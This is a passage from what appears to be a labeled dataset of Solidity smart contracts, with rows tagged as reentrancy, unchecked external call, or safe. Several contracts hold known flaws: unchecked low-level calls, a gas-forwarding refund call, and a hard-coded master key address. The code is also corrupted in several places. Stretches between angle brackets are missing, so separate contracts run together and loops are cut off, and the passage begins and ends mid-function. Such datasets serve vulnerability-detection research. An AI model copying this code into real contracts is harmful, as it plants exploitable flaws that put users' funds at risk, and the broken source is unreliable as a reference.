//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 35988.sol,"/* This file is part of the BREMP Contract. The BREMP Contract is free software: you can redistribute it and/or modify it under the terms of the GNU lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. The BREMP Contract is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU lesser General Public License for more details. You should have received a copy of the GNU lesser General Public License along with the BREMP Contract. If not, see . @author Ilya Svirin <[email protected]> IF YOU ARE ENJOYED IT DONATE TO 0x3Ad38D1060d1c350aF29685B2b8Ec3eDE527452B ! :) */ pragma solidity ^0.4.0; contract NeuroDAO { function balanceOf(address who) constant returns (uint); function freezedBalanceOf(address _who) constant returns(uint); } contract owned { address public owner; address public newOwner; function owned() payable { owner = msg.sender; } modifier onlyOwner { require(owner == msg.sender); _; } function changeOwner(address _owner) onlyOwner public { require(_owner != 0); newOwner = _owner; } function confirmOwner() public { require(newOwner == msg.sender); owner = newOwner; delete newOwner; } } contract Crowdsale is owned { uint constant totalTokens = 25000000; uint constant neurodaoTokens = 1250000; uint constant totalLimitUSD = 500000; uint public totalSupply; mapping (address => uint256) public balanceOf; address public neurodao; uint public etherPrice; mapping (address => bool) public holders; mapping (uint => address) public holdersIter; uint public numberOfHolders; uint public collectedUSD; address public presaleOwner; uint public collectedNDAO; mapping (address => bool) public gotBonus; enum State {Disabled, Presale, Bonuses, Enabled} State public state; modifier enabledState { require(state == State.Enabled); _; } event NewState(State _state); event Transfer(address indexed from, address indexed to, uint value); function Crowdsale(address _neurodao, uint _etherPrice) payable owned() { neurodao = _neurodao; etherPrice = _etherPrice; totalSupply = totalTokens; balanceOf[owner] = neurodaoTokens; balanceOf[this] = totalSupply - balanceOf[owner]; Transfer(this, owner, balanceOf[owner]); } function setEtherPrice(uint _etherPrice) public { require(presaleOwner == msg.sender || owner == msg.sender); etherPrice = _etherPrice; } function startPresale(address _presaleOwner) public onlyOwner { require(state == State.Disabled); presaleOwner = _presaleOwner; state = State.Presale; NewState(state); } function startBonuses() public onlyOwner { require(state == State.Presale); state = State.Bonuses; NewState(state); } function finishCrowdsale() public onlyOwner { require(state == State.Bonuses); state = State.Enabled; NewState(state); } function () payable { uint tokens; address tokensSource; if (state == State.Presale) { require(balanceOf[this] > 0); require(collectedUSD < totalLimitUSD); uint valueWei = msg.value; uint valueUSD = valueWei * etherPrice / 1 ether; if (collectedUSD + valueUSD > totalLimitUSD) { valueUSD = totalLimitUSD - collectedUSD; valueWei = valueUSD * 1 ether / etherPrice; require(msg.sender.call.gas(3000000).value(msg.value - valueWei)()); collectedUSD = totalLimitUSD; } else { collectedUSD += valueUSD; } uint centsForToken; if (now <= 1506815999) { // 30/09/2017 11:59pm (UTC) centsForToken = 50; } else if (now <= 1507247999) { // 05/10/2017 11:59pm (UTC) centsForToken = 50; } else if (now <= 1507766399) { // 11/10/2017 11:59pm (UTC) centsForToken = 65; } else { centsForToken = 70; } tokens = valueUSD * 100 / centsForToken; if (NeuroDAO(neurodao).balanceOf(msg.sender) >= 1000) { collectedNDAO += tokens; } tokensSource = this; } else if (state == State.Bonuses) { require(gotBonus[msg.sender] != true); gotBonus[msg.sender] = true; uint freezedBalance = NeuroDAO(neurodao).freezedBalanceOf(msg.sender); if (freezedBalance >= 1000) { tokens = (neurodaoTokens / 10) * freezedBalance / 21000000 + (9 * neurodaoTokens / 10) * balanceOf[msg.sender] / collectedNDAO; } tokensSource = owner; } require(tokens > 0); require(balanceOf[msg.sender] + tokens > balanceOf[msg.sender]); require(balanceOf[tokensSource] >= tokens); if (holders[msg.sender] != true) { holders[msg.sender] = true; holdersIter[numberOfHolders++] = msg.sender; } balanceOf[msg.sender] += tokens; balanceOf[tokensSource] -= tokens; Transfer(tokensSource, msg.sender, tokens); } } contract Token is Crowdsale { string public standard = 'Token 0.1'; string public name = 'BREMP'; string public symbol = ""BREMP""; uint8 public decimals = 0; mapping (address => mapping (address => uint)) public allowed; event Approval(address indexed owner, address indexed spender, uint value); // Fix for the ERC20 short address attack modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } function Token(address _neurodao, uint _etherPrice) payable Crowdsale(_neurodao, _etherPrice) {} function transfer(address _to, uint256 _value) public enabledState onlyPayloadSize(2 * 32) { require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); if (holders[_to] != true) { holders[_to] = true; holdersIter[numberOfHolders++] = _to; } balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public enabledState onlyPayloadSize(3 * 32) { require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); // overflow require(allowed[_from][msg.sender] >= _value); if (holders[_to] != true) { holders[_to] = true; holdersIter[numberOfHolders++] = _to; } balanceOf[_from] -= _value; balanceOf[_to] += _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); } function approve(address _spender, uint _value) public enabledState { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant enabledState returns (uint remaining) { return allowed[_owner][_spender]; } } contract PresaleBREMP is Token { function PresaleBREMP(address _neurodao, uint _etherPrice) payable Token(_neurodao, _etherPrice) {} function withdraw() public { require(presaleOwner == msg.sender || owner == msg.sender); msg.sender.transfer(this.balance); } function killMe() public onlyOwner { presaleOwner.transfer(this.balance); selfdestruct(owner); } }",./Dataset/unchecked external call (UC),7,7 0x024cb480c6bf81eea0067c2682a706e5da5c6024_BuyBack.sol,"pragma solidity ^0.4.11; /** * @title Owned contract with safe ownership pass. * * Note: all the non constant functions return false instead of throwing in case if state change * didn't happen yet. */ contract Owned { /** * Contract owner address */ address public contractOwner; /** * Contract owner address */ address public pendingContractOwner; function Owned() { contractOwner = msg.sender; } /** * @dev Owner check modifier */ modifier onlyContractOwner() { if (contractOwner == msg.sender) { _; } } /** * @dev Destroy contract and scrub a data * @notice Only owner can call it */ function destroy() onlyContractOwner { suicide(msg.sender); } /** * Prepares ownership pass. * * Can only be called by current owner. * * @param _to address of the next owner. 0x0 is not allowed. * * @return success. */ function changeContractOwnership(address _to) onlyContractOwner() returns(bool) { if (_to == 0x0) { return false; } pendingContractOwner = _to; return true; } /** * Finalize ownership pass. * * Can only be called by pending owner. * * @return success. */ function claimContractOwnership() returns(bool) { if (pendingContractOwner != msg.sender) { return false; } contractOwner = pendingContractOwner; delete pendingContractOwner; return true; } } contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); } /** * @title Generic owned destroyable contract */ contract Object is Owned { /** * Common result code. Means everything is fine. */ uint constant OK = 1; uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8; function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) { for(uint i=0;i bool) public allowedSpenders; /// @dev The address assigned the role of `securityGuard` is the only /// addresses that can call a function with this modifier modifier onlySecurityGuard { if (msg.sender != securityGuard) throw; _; } // @dev Events to make the payment movements easy to find on the blockchain event PaymentAuthorized(uint indexed idPayment, address indexed recipient, uint amount); event PaymentExecuted(uint indexed idPayment, address indexed recipient, uint amount); event PaymentCanceled(uint indexed idPayment); event EtherReceived(address indexed from, uint amount); event SpenderAuthorization(address indexed spender, bool authorized); ///////// // Constructor ///////// /// @notice The Constructor creates the Vault on the blockchain /// @param _absoluteMinTimeLock The minimum number of seconds `timelock` can /// be set to, if set to 0 the `owner` can remove the `timeLock` completely /// @param _timeLock Initial number of seconds that payments are delayed /// after they are authorized (a security precaution) /// @param _maxSecurityGuardDelay The maximum number of seconds in total /// that `securityGuard` can delay a payment so that the owner can cancel /// the payment if needed function DelayedPayments( uint _absoluteMinTimeLock, uint _timeLock, uint _maxSecurityGuardDelay) { absoluteMinTimeLock = _absoluteMinTimeLock; timeLock = _timeLock; securityGuard = msg.sender; maxSecurityGuardDelay = _maxSecurityGuardDelay; } /** * Emits Error event with specified error message. * * Should only be used if no state changes happened. * * @param _errorCode code of an error * @param _message error message. */ function _error(uint _errorCode, bytes32 _message) internal returns(uint) { DelayedPaymentsEmitter(eventsHistory).emitError(_message); return _errorCode; } /** * Sets EventsHstory contract address. * * Can be set only once, and only by contract owner. * * @param _eventsHistory MultiEventsHistory contract address. * * @return success. */ function setupEventsHistory(address _eventsHistory) returns(uint errorCode) { errorCode = checkOnlyContractOwner(); if (errorCode != OK) { return errorCode; } if (eventsHistory != 0x0 && eventsHistory != _eventsHistory) { return DELAYED_PAYMENTS_INVALID_INVOCATION; } eventsHistory = _eventsHistory; return OK; } ///////// // Helper functions ///////// /// @notice States the total number of authorized payments in this contract /// @return The number of payments ever authorized even if they were canceled function numberOfAuthorizedPayments() constant returns (uint) { return authorizedPayments.length; } ////// // Receive Ether ////// /// @notice Called anytime ether is sent to the contract && creates an event /// to more easily track the incoming transactions function receiveEther() payable { EtherReceived(msg.sender, msg.value); } /// @notice The fall back function is called whenever ether is sent to this /// contract function () payable { receiveEther(); } //////// // Spender Interface //////// /// @notice only `allowedSpenders[]` Creates a new `Payment` /// @param _recipient Destination of the payment /// @param _amount Amount to be paid in wei /// @param _paymentDelay Number of seconds the payment is to be delayed, if /// this value is below `timeLock` then the `timeLock` determines the delay /// @return The Payment ID number for the new authorized payment function authorizePayment( address _recipient, uint _amount, uint _paymentDelay ) returns(uint) { // Fail if you arent on the `allowedSpenders` white list if (!allowedSpenders[msg.sender]) throw; uint idPayment = authorizedPayments.length; // Unique Payment ID authorizedPayments.length++; // The following lines fill out the payment struct Payment p = authorizedPayments[idPayment]; p.spender = msg.sender; // Overflow protection if (_paymentDelay > 10**18) throw; // Determines the earliest the recipient can receive payment (Unix time) p.earliestPayTime = _paymentDelay >= timeLock ? now + _paymentDelay : now + timeLock; p.recipient = _recipient; p.amount = _amount; PaymentAuthorized(idPayment, p.recipient, p.amount); return idPayment; } /// @notice only `allowedSpenders[]` The recipient of a payment calls this /// function to send themselves the ether after the `earliestPayTime` has /// expired /// @param _idPayment The payment ID to be executed function collectAuthorizedPayment(uint _idPayment) { // Check that the `_idPayment` has been added to the payments struct if (_idPayment >= authorizedPayments.length) return; Payment p = authorizedPayments[_idPayment]; // Checking for reasons not to execute the payment if (msg.sender != p.recipient) return; if (now < p.earliestPayTime) return; if (p.canceled) return; if (p.paid) return; if (this.balance < p.amount) return; p.paid = true; // Set the payment to being paid if (!p.recipient.send(p.amount)) { // Make the payment return; } PaymentExecuted(_idPayment, p.recipient, p.amount); } ///////// // SecurityGuard Interface ///////// /// @notice `onlySecurityGuard` Delays a payment for a set number of seconds /// @param _idPayment ID of the payment to be delayed /// @param _delay The number of seconds to delay the payment function delayPayment(uint _idPayment, uint _delay) onlySecurityGuard { if (_idPayment >= authorizedPayments.length) throw; // Overflow test if (_delay > 10**18) throw; Payment p = authorizedPayments[_idPayment]; if ((p.securityGuardDelay + _delay > maxSecurityGuardDelay) || (p.paid) || (p.canceled)) throw; p.securityGuardDelay += _delay; p.earliestPayTime += _delay; } //////// // Owner Interface /////// /// @notice `onlyOwner` Cancel a payment all together /// @param _idPayment ID of the payment to be canceled. function cancelPayment(uint _idPayment) onlyContractOwner { if (_idPayment >= authorizedPayments.length) throw; Payment p = authorizedPayments[_idPayment]; if (p.canceled) throw; if (p.paid) throw; p.canceled = true; PaymentCanceled(_idPayment); } /// @notice `onlyOwner` Adds a spender to the `allowedSpenders[]` white list /// @param _spender The address of the contract being authorized/unauthorized /// @param _authorize `true` if authorizing and `false` if unauthorizing function authorizeSpender(address _spender, bool _authorize) onlyContractOwner { allowedSpenders[_spender] = _authorize; SpenderAuthorization(_spender, _authorize); } /// @notice `onlyOwner` Sets the address of `securityGuard` /// @param _newSecurityGuard Address of the new security guard function setSecurityGuard(address _newSecurityGuard) onlyContractOwner { securityGuard = _newSecurityGuard; } /// @notice `onlyOwner` Changes `timeLock`; the new `timeLock` cannot be /// lower than `absoluteMinTimeLock` /// @param _newTimeLock Sets the new minimum default `timeLock` in seconds; /// pending payments maintain their `earliestPayTime` function setTimelock(uint _newTimeLock) onlyContractOwner { if (_newTimeLock < absoluteMinTimeLock) throw; timeLock = _newTimeLock; } /// @notice `onlyOwner` Changes the maximum number of seconds /// `securityGuard` can delay a payment /// @param _maxSecurityGuardDelay The new maximum delay in seconds that /// `securityGuard` can delay the payment's execution in total function setMaxSecurityGuardDelay(uint _maxSecurityGuardDelay) onlyContractOwner { maxSecurityGuardDelay = _maxSecurityGuardDelay; } } contract Asset { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); } contract BuyBackEmitter { function emitError(uint errorCode); function emitPricesUpdated(uint buyPrice, uint sellPrice); function emitActiveChanged(bool isActive); } contract BuyBack is Object { uint constant ERROR_EXCHANGE_INVALID_PARAMETER = 6000; uint constant ERROR_EXCHANGE_INVALID_INVOCATION = 6001; uint constant ERROR_EXCHANGE_INVALID_FEE_PERCENT = 6002; uint constant ERROR_EXCHANGE_INVALID_PRICE = 6003; uint constant ERROR_EXCHANGE_MAINTENANCE_MODE = 6004; uint constant ERROR_EXCHANGE_TOO_HIGH_PRICE = 6005; uint constant ERROR_EXCHANGE_TOO_LOW_PRICE = 6006; uint constant ERROR_EXCHANGE_INSUFFICIENT_BALANCE = 6007; uint constant ERROR_EXCHANGE_INSUFFICIENT_ETHER_SUPPLY = 6008; uint constant ERROR_EXCHANGE_PAYMENT_FAILED = 6009; uint constant ERROR_EXCHANGE_TRANSFER_FAILED = 6010; uint constant ERROR_EXCHANGE_FEE_TRANSFER_FAILED = 6011; uint constant ERROR_EXCHANGE_DELAYEDPAYMENTS_ACCESS = 6012; // Assigned ERC20 token. Asset public asset; DelayedPayments public delayedPayments; //Switch for turn on and off the exchange operations bool public isActive; // Price in wei at which exchange buys tokens. uint public buyPrice = 1; // Price in wei at which exchange sells tokens. uint public sellPrice = 2570735391000000; // 80% from ETH/USD=311.1950 uint public minAmount; uint public maxAmount; // User sold tokens and received wei. event Sell(address indexed who, uint token, uint eth); // User bought tokens and payed wei. event Buy(address indexed who, uint token, uint eth); event WithdrawTokens(address indexed recipient, uint amount); event WithdrawEth(address indexed recipient, uint amount); event PricesUpdated(address indexed self, uint buyPrice, uint sellPrice); event ActiveChanged(address indexed self, bool isActive); event Error(uint errorCode); /** * @dev On received ethers * @param sender Ether sender * @param amount Ether value */ event ReceivedEther(address indexed sender, uint256 indexed amount); // Should use interface of the emitter, but address of events history. BuyBackEmitter public eventsHistory; /** * Emits Error event with specified error message. * * Should only be used if no state changes happened. * * @param error error from Errors library. */ function _error(uint error) internal returns (uint) { getEventsHistory().emitError(error); return error; } function _emitPricesUpdated(uint buyPrice, uint sellPrice) internal { getEventsHistory().emitPricesUpdated(buyPrice, sellPrice); } function _emitActiveChanged(bool isActive) internal { getEventsHistory().emitActiveChanged(isActive); } /** * Sets EventsHstory contract address. * * Can be set only once, and only by contract owner. * * @param _eventsHistory MultiEventsHistory contract address. * * @return success. */ function setupEventsHistory(address _eventsHistory) onlyContractOwner returns (uint) { if (address(eventsHistory) != 0x0) { return _error(ERROR_EXCHANGE_INVALID_INVOCATION); } eventsHistory = BuyBackEmitter(_eventsHistory); return OK; } /** * Assigns ERC20 token for exchange. * * Can be set only once, and only by contract owner. * * @param _asset ERC20 token address. * * @return success. */ function init(Asset _asset, DelayedPayments _delayedPayments) onlyContractOwner returns (uint errorCode) { if (address(asset) != 0x0 || address(delayedPayments) != 0x0) { return _error(ERROR_EXCHANGE_INVALID_INVOCATION); } asset = _asset; delayedPayments = _delayedPayments; isActive = true; return OK; } function setActive(bool _active) onlyContractOwner returns (uint) { if (isActive != _active) { _emitActiveChanged(_active); } isActive = _active; return OK; } /** * Set exchange operation prices. * Sell price cannot be less than buy price. * * Can be set only by contract owner. * * @param _buyPrice price in wei at which exchange buys tokens. * @param _sellPrice price in wei at which exchange sells tokens. * * @return success. */ function setPrices(uint _buyPrice, uint _sellPrice) onlyContractOwner returns (uint) { if (_sellPrice < _buyPrice) { return _error(ERROR_EXCHANGE_INVALID_PRICE); } buyPrice = _buyPrice; sellPrice = _sellPrice; _emitPricesUpdated(_buyPrice, _sellPrice); return OK; } /** * Returns assigned token address balance. * * @param _address address to get balance. * * @return token balance. */ function _balanceOf(address _address) constant internal returns (uint) { return asset.balanceOf(_address); } /** * Sell tokens for ether at specified price. Tokens are taken from caller * though an allowance logic. * Amount should be less than or equal to current allowance value. * Price should be less than or equal to current exchange buyPrice. * * @param _amount amount of tokens to sell. * @param _price price in wei at which sell will happen. * * @return success. */ function sell(uint _amount, uint _price) returns (uint) { if (!isActive) { return _error(ERROR_EXCHANGE_MAINTENANCE_MODE); } if (_price > buyPrice) { return _error(ERROR_EXCHANGE_TOO_HIGH_PRICE); } if (_balanceOf(msg.sender) < _amount) { return _error(ERROR_EXCHANGE_INSUFFICIENT_BALANCE); } uint total = _mul(_amount, _price); if (this.balance < total) { return _error(ERROR_EXCHANGE_INSUFFICIENT_ETHER_SUPPLY); } if (!asset.transferFrom(msg.sender, this, _amount)) { return _error(ERROR_EXCHANGE_PAYMENT_FAILED); } if (!delayedPayments.send(total)) { throw; } if (!delayedPayments.allowedSpenders(this)) { throw; } delayedPayments.authorizePayment(msg.sender,total,1 hours); Sell(msg.sender, _amount, total); return OK; } /** * Transfer specified amount of tokens from exchange to specified address. * * Can be called only by contract owner. * * @param _recipient address to transfer tokens to. * @param _amount amount of tokens to transfer. * * @return success. */ function withdrawTokens(address _recipient, uint _amount) onlyContractOwner returns (uint) { if (_balanceOf(this) < _amount) { return _error(ERROR_EXCHANGE_INSUFFICIENT_BALANCE); } if (!asset.transfer(_recipient, _amount)) { return _error(ERROR_EXCHANGE_TRANSFER_FAILED); } WithdrawTokens(_recipient, _amount); return OK; } /** * Transfer all tokens from exchange to specified address. * * Can be called only by contract owner. * * @param _recipient address to transfer tokens to. * * @return success. */ function withdrawAllTokens(address _recipient) onlyContractOwner returns (uint) { return withdrawTokens(_recipient, _balanceOf(this)); } /** * Transfer specified amount of wei from exchange to specified address. * * Can be called only by contract owner. * * @param _recipient address to transfer wei to. * @param _amount amount of wei to transfer. * * @return success. */ function withdrawEth(address _recipient, uint _amount) onlyContractOwner returns (uint) { if (this.balance < _amount) { return _error(ERROR_EXCHANGE_INSUFFICIENT_ETHER_SUPPLY); } if (!_recipient.send(_amount)) { return _error(ERROR_EXCHANGE_TRANSFER_FAILED); } WithdrawEth(_recipient, _amount); return OK; } /** * Transfer all wei from exchange to specified address. * * Can be called only by contract owner. * * @param _recipient address to transfer wei to. * * @return success. */ function withdrawAllEth(address _recipient) onlyContractOwner() returns (uint) { return withdrawEth(_recipient, this.balance); } /** * Transfer all tokens and wei from exchange to specified address. * * Can be called only by contract owner. * * @param _recipient address to transfer tokens and wei to. * * @return success. */ function withdrawAll(address _recipient) onlyContractOwner returns (uint) { uint withdrawAllTokensResult = withdrawAllTokens(_recipient); if (withdrawAllTokensResult != OK) { return withdrawAllTokensResult; } uint withdrawAllEthResult = withdrawAllEth(_recipient); if (withdrawAllEthResult != OK) { return withdrawAllEthResult; } return OK; } function emitError(uint errorCode) { Error(errorCode); } function emitPricesUpdated(uint buyPrice, uint sellPrice) { PricesUpdated(msg.sender, buyPrice, sellPrice); } function emitActiveChanged(bool isActive) { ActiveChanged(msg.sender, isActive); } function getEventsHistory() constant returns (BuyBackEmitter) { return address(eventsHistory) != 0x0 ? eventsHistory : BuyBackEmitter(this); } /** * Overflow-safe multiplication. * * Throws in case of value overflow. * * @param _a first operand. * @param _b second operand. * * @return multiplication result. */ function _mul(uint _a, uint _b) internal constant returns (uint) { uint result = _a * _b; if (_a != 0 && result / _a != _b) { throw; } return result; } /** * Accept all ether to maintain exchange supply. */ function() payable { if (msg.value != 0) { ReceivedEther(msg.sender, msg.value); } else { throw; } } }",Safe,8,8 345.sol,"pragma solidity ^0.4.0; contract demo{ function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){ require(_tos.length > 0); bytes4 id=bytes4(keccak256(""transferFrom(address,address,uint256)"")); for(uint i=0;i<_tos.length;i++){ caddress.call(id,from,_tos[i],v); } return true; } }",./Dataset/unchecked external call (UC),7,7 33980.sol,"pragma solidity 0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= a); return result; } function getAllValuesSum(uint256[] values) internal pure returns(uint256) { uint256 result = 0; for (uint i = 0; i < values.length; i++){ result = add(result, values[i]); } return result; } } contract Ownable { constructor() public { ownerAddress = msg.sender; } event TransferOwnership( address indexed previousOwner, address indexed newOwner ); address public ownerAddress; //wallet that can change owner address internal masterKey = 0x819466D9C043DBb7aB4E1168aB8E014c3dCAA470; function transferOwnership(address newOwner) public returns(bool); modifier onlyOwner() { require(msg.sender == ownerAddress); _; } // Prevents user to send transaction on his own address modifier notSender(address owner){ require(msg.sender != owner); _; } } contract ERC20Basic { event Transfer( address indexed from, address indexed to, uint256 value ); uint256 public totalSupply; function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); } contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; struct WalletData { uint256 tokensAmount; uint256 freezedAmount; bool canFreezeTokens; } mapping(address => WalletData) wallets; function transfer(address to, uint256 value) public notSender(to) returns(bool) { require(to != address(0) && wallets[msg.sender].tokensAmount >= value && (wallets[msg.sender].canFreezeTokens && checkIfCanUseTokens(msg.sender, value))); uint256 amount = wallets[msg.sender].tokensAmount.sub(value); wallets[msg.sender].tokensAmount = amount; wallets[to].tokensAmount = wallets[to].tokensAmount.add(value); emit Transfer(msg.sender, to, value); return true; } function balanceOf(address owner) public view returns(uint256 balance) { return wallets[owner].tokensAmount; } // Check wallet on unfreeze tokens amount function checkIfCanUseTokens( address owner, uint256 amount ) internal view returns(bool) { uint256 unfreezedAmount = wallets[owner].tokensAmount - wallets[owner].freezedAmount; return amount <= unfreezedAmount; } } contract FreezableToken is BasicToken { event AllowFreeze(address indexed who); event DissallowFreeze(address indexed who); event FreezeTokens(address indexed who, uint256 freezeAmount); event UnfreezeTokens(address indexed who, uint256 unfreezeAmount); uint256 public freezeTokensAmount = 0; // Give permission to a wallet for freeze tokens. function allowFreezing(address owner) public onlyOwner returns(bool) { require(!wallets[owner].canFreezeTokens); wallets[owner].canFreezeTokens = true; emit AllowFreeze(owner); return true; } function dissalowFreezing(address owner) public onlyOwner returns(bool) { require(wallets[owner].canFreezeTokens); wallets[owner].canFreezeTokens = false; wallets[owner].freezedAmount = 0; emit DissallowFreeze(owner); return true; } function freezeAllowance(address owner) public view returns(bool) { return wallets[owner].canFreezeTokens; } // Freeze tokens on sender wallet if have permission. function freezeTokens( uint256 amount ) public isFreezeAllowed returns(bool) { uint256 freezedAmount = wallets[msg.sender].freezedAmount.add(amount); require(wallets[msg.sender].tokensAmount >= freezedAmount); wallets[msg.sender].freezedAmount = freezedAmount; emit FreezeTokens(msg.sender, amount); return true; } function showFreezedTokensAmount(address owner) public view returns(uint256) { return wallets[owner].freezedAmount; } function unfreezeTokens( uint256 amount ) public isFreezeAllowed returns(bool) { uint256 freezeAmount = wallets[msg.sender].freezedAmount.sub(amount); wallets[msg.sender].freezedAmount = freezeAmount; emit UnfreezeTokens(msg.sender, amount); return true; } function getUnfreezedTokens(address owner) internal view returns(uint256) { return wallets[owner].tokensAmount - wallets[owner].freezedAmount; } modifier isFreezeAllowed() { require(freezeAllowance(msg.sender)); _; } } contract MultisendableToken is FreezableToken { using SafeMath for uint256; function massTransfer( address[] addresses, uint[] values ) public onlyOwner returns(bool) { for (uint i = 0; i < addresses.length; i++){ transferFromOwner(addresses[i], values[i]); } return true; } function transferFromOwner( address to, uint256 value ) internal onlyOwner { require(to != address(0) && wallets[ownerAddress].tokensAmount >= value && (freezeAllowance(ownerAddress) && checkIfCanUseTokens(ownerAddress, value))); uint256 freezeAmount = wallets[ownerAddress].tokensAmount.sub(value); wallets[ownerAddress].tokensAmount = freezeAmount; wallets[to].tokensAmount = wallets[to].tokensAmount.add(value); emit Transfer(ownerAddress, to, value); } } contract Airdropper is MultisendableToken { using SafeMath for uint256[]; event Airdrop(uint256 tokensDropped, uint256 airdropCount); event AirdropFinished(); uint256 public airdropsCount = 0; uint256 public airdropTotalSupply = 0; uint256 public distributedTokensAmount = 0; bool public airdropFinished = false; function airdropToken( address[] addresses, uint256[] values ) public onlyOwner returns(bool) { uint256 result = distributedTokensAmount + values.getAllValuesSum(); require(!airdropFinished && result <= airdropTotalSupply); distributedTokensAmount = result; airdropsCount++; emit Airdrop(values.getAllValuesSum(), airdropsCount); return massTransfer(addresses, values); } function finishAirdrops() public onlyOwner { // Can't finish airdrop before send all tokens for airdrop. require(distributedTokensAmount == airdropTotalSupply); airdropFinished = true; emit AirdropFinished(); } } contract CryptosoulToken is Airdropper { event Mint(address indexed to, uint256 value); event AllowMinting(); event Burn(address indexed from, uint256 value); string constant public name = ""CryptoSoul""; string constant public symbol = ""SOUL""; uint constant public decimals = 6; uint256 constant public START_TOKENS = 500000000 * 10**decimals; //500M start uint256 constant public MINT_AMOUNT = 1360000 * 10**decimals; uint32 constant public MINT_INTERVAL_SEC = 1 days; // 24 hours uint256 constant private MAX_BALANCE_VALUE = 2**256 - 1; uint constant public startMintingData = 1538352000; uint public nextMintPossibleTime = 0; bool public canMint = false; constructor() public { wallets[ownerAddress].tokensAmount = START_TOKENS; wallets[ownerAddress].canFreezeTokens = true; totalSupply = START_TOKENS; airdropTotalSupply = 200000000 * 10**decimals; emit Mint(ownerAddress, START_TOKENS); } function allowMinting() public onlyOwner { // Can start minting token after 01.10.2018 require(now >= startMintingData); nextMintPossibleTime = now; canMint = true; emit AllowMinting(); } function mint() public onlyOwner returns(bool) { require(canMint && totalSupply + MINT_AMOUNT <= MAX_BALANCE_VALUE && now >= nextMintPossibleTime); nextMintPossibleTime = nextMintPossibleTime.add(MINT_INTERVAL_SEC); uint256 freezeAmount = wallets[ownerAddress].tokensAmount.add(MINT_AMOUNT); wallets[ownerAddress].tokensAmount = freezeAmount; totalSupply = totalSupply.add(MINT_AMOUNT); emit Mint(ownerAddress, MINT_AMOUNT); return true; } function 